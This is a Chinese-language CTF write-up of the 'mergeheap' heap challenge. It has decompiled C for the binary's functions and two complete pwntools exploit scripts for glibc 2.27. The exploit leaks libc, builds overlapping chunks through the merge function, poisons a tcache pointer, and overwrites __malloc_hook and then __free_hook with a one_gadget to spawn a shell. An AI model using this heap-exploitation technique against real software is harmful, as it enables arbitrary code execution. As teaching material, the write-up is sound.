题目逻辑
main
void __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 savedregs; // [rsp+10h] [rbp+0h]
sub_AA1(a1, a2, a3);
while ( 1 )
{
menu();
switch ( (unsigned int)&savedregs )
{
case 1u:
add();
break;
case 2u:
print();
break;
case 3u:
delete();
break;
case 4u:
merge();
break;
case 5u:
exit(0);
return;
default:
continue;
}
}
}
add
int add()
{
signed int i; // [rsp+8h] [rbp-8h]
int v2; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 14 && content_list[i]; ++i )
;
if ( i > 14 )
return puts("full");
printf("len:");
v2 = read_num();
if ( v2 < 0 || v2 > 1024 )
return puts("invalid");
content_list[i] = malloc(v2);
printf("content:");
sub_AEE(content_list[i], v2);
size_list[i] = v2;
return puts("Done");
}
delete
int delete()
{
_DWORD *v0; // rax
int v2; // [rsp+Ch] [rbp-4h]
printf("idx:");
v2 = read_num();
if ( v2 >= 0 && v2 <= 14 && content_list[v2] )
{
free((void *)content_list[v2]);
content_list[v2] = 0LL;
v0 = size_list;
size_list[v2] = 0;
}
else
{
LODWORD(v0) = puts("invalid");
}
return (signed int)v0;
}
int print()
{
int result; // eax
int v1; // [rsp+Ch] [rbp-4h]
printf("idx:");
v1 = read_num();
if ( v1 >= 0 && v1 <= 14 && content_list[v1] )
result = puts((const char *)content_list[v1]);
else
result = puts("invalid");
return result;
}
merge
int merge()
{
int v1; // ST1C_4
signed int i; // [rsp+8h] [rbp-18h]
int v3; // [rsp+Ch] [rbp-14h]
int v4; // [rsp+10h] [rbp-10h]
for ( i = 0; i <= 14 && content_list[i]; ++i )
;
if ( i > 14 )
return puts("full");
printf("idx1:");
v3 = read_num();
if ( v3 < 0 || v3 > 14 || !content_list[v3] )
return puts("invalid");
printf("idx2:");
v4 = read_num();
if ( v4 < 0 || v4 > 14 || !content_list[v4] )
return puts("invalid");
v1 = size_list[v3] + size_list[v4];
content_list[i] = malloc(v1);
strcpy((char *)content_list[i], (const char *)content_list[v3]);
strcat((char *)content_list[i], (const char *)content_list[v4]);
size_list[i] = v1;
return puts("Done");
}
分析
利用merge和空间分配时候presize复用原则(比如申请0x18实际给你分配的是0x20)泄漏出libc,同时可以构造overlapping,随后利用重新分配出的空间,可以修改tcache表中fd指针,利用类似fastbin attack,申请到mallochook,复写为one_shot。
EXP:
from pwn import *
context.log_level = "debug"
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./mergeheap")
elf = ELF("./mergeheap")
libc = ELF("./libc-2.27.so")
def add(size, content):
p.recvuntil(">>")
p.sendline("1")
p.recvuntil("len:")
p.sendline(str(size))
p.recvuntil("content:")
p.send(content)
def show(idx):
p.recvuntil(">>")
p.sendline("2")
p.recvuntil("idx:")
p.sendline(str(idx))
def dele(idx):
p.recvuntil(">>")
p.sendline("3")
p.recvuntil("idx:")
p.sendline(str(idx))
def merge(idx1, idx2):
p.recvuntil(">>")
p.sendline("4")
p.recvuntil("idx1:")
p.sendline(str(idx1))
p.recvuntil("idx2:")
p.sendline(str(idx2))
sizes = 0x202060
ptrs = 0x2020a0
for x in range(10):
add(0x80, "c"*0x6+'\n')
for i in range(9):
dele(i)
add(0x8, "e" * 0x8)
# leak libc_base address
show(0)
p.recv(8)
leakaddr = u64(p.recv(6).ljust(8,'\x00'))
libcbase = leakaddr - 0x3ebdb0
print "leak_addr ====>",hex(leakaddr)
print "libc_base ====>",hex(libcbase)
dele(0)
# for x in range(7):
# add(0x40, "c"*0x40)
# for i in range(7):
# dele(i)
add(0x90, "0" * 0x90) # 0
add(0x98, "4" * 0x98) # 1
add(0x100, "5" * (0x100-2) + '\x10' + '\x02') # 2
add(0x198, "6" * 0x198) # 3
add(0x60, "7" * 0x60) # 4
add(0x60, "a" * 0x60) # 5
for x in range(7):
add(0x60, "9"*0x60)
for i in range(6,14):
dele(i)
fake_fastbin = p64(libcbase+libc.symbols["__malloc_hook"] - 0x23)
pay = 0x60*'1' + '\x00'*8 + '\x70' + '\x00'*7 + fake_fastbin
# pay += '\x00'*8 + '\x70' + '\x00'*7 + p64(fake_fastbin)
pay += '\n'#(0x200-len(pay))*'1'
dele(3)
merge(1,2) # 3 overlapping 4-3
dele(4)
# dele(5) # fastbin
# add(0x200,pay) # 4
for x in range(7):
add(0x60, "8" * 0x60) # 5-11 for tcache
dele(5) # tcache
add(0x200,pay) # 4
add(0x60, "8" * 0x60) # 12
one = 0x4f2c5
payload = "\x00" *0x23 + p64(libcbase + one)
add(0x60, payload + '\n') # 12
print "one_shot ======> ", hex(libcbase + one)
print "__malloc_hook ======> ", hex(libcbase+libc.symbols["__malloc_hook"])
# gdb.attach(p)
add(0x300,'\n') # 4
p.interactive()
"""
nevv@ubuntu:~$ one_gadget Desktop/libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
"""
通过调试可以看到确实重写了mallochook处的内容,但是报错没有getshell,猜测地址从tcache分配出去后,中间某个检查没有通过,网上简单查了下说是glibc2.27直接把hook这个机制取消?大概是这么个思路,具体的细节有时间再看下。
后续:
1wc师傅说可能是不满足one-shot执行的条件,建议换成free_hook再尝试一下,果真可以了,还是太菜了。。新的exp如下:
from pwn import *
context.log_level = "debug"
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./mergeheap")
elf = ELF("./mergeheap")
libc = ELF("./libc-2.27.so")
def add(size, content):
p.recvuntil(">>")
p.sendline("1")
p.recvuntil("len:")
p.sendline(str(size))
p.recvuntil("content:")
p.send(content)
def show(idx):
p.recvuntil(">>")
p.sendline("2")
p.recvuntil("idx:")
p.sendline(str(idx))
def dele(idx):
p.recvuntil(">>")
p.sendline("3")
p.recvuntil("idx:")
p.sendline(str(idx))
def merge(idx1, idx2):
p.recvuntil(">>")
p.sendline("4")
p.recvuntil("idx1:")
p.sendline(str(idx1))
p.recvuntil("idx2:")
p.sendline(str(idx2))
sizes = 0x202060
ptrs = 0x2020a0
for x in range(10):
add(0x80, "c"*0x6+'\n')
for i in range(9):
dele(i)
add(0x8, "e" * 0x8)
# leak libc_base address
show(0)
p.recv(8)
leakaddr = u64(p.recv(6).ljust(8,'\x00'))
libcbase = leakaddr - 0x3ebdb0
print "leak_addr ====>",hex(leakaddr)
print "libc_base ====>",hex(libcbase)
dele(0)
## prepare for overlapping
add(0x90, "0" * 0x90) # 0
add(0x98, "4" * 0x98) # 1
add(0x100, "5" * (0x100-2) + '\x10' + '\x02') # 2
add(0x198, "6" * 0x198) # 3
add(0x60, "7" * 0x60) # 4
add(0x60, "a" * 0x60) # 5
for x in range(7):
add(0x60, "9"*0x60)
for i in range(6,14):
dele(i)
pay = 0x60*'1' + '\x00'*8 + '\x70' + '\x00'*7 + p64(libcbase+libc.symbols["__free_hook"])
pay += '\n'
dele(3)
merge(1,2) # 3 overlapping 4-3
dele(4)
for x in range(7):
add(0x60, "8" * 0x60) # 5-11 for tcache
dele(5) # tcache
add(0x200,pay) # 4
add(0x60, "8" * 0x60) # 12
one = 0x4f322
payload = p64(libcbase + one)
add(0x60, payload + '\n') # 12
print "one_shot ======> ", hex(libcbase + one)
print "__free_hook ======> ", hex(libcbase+libc.symbols["__free_hook"])
# gdb.attach(p)
dele(0)
p.interactive()
"""
nevv@ubuntu:~$ one_gadget Desktop/libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
"""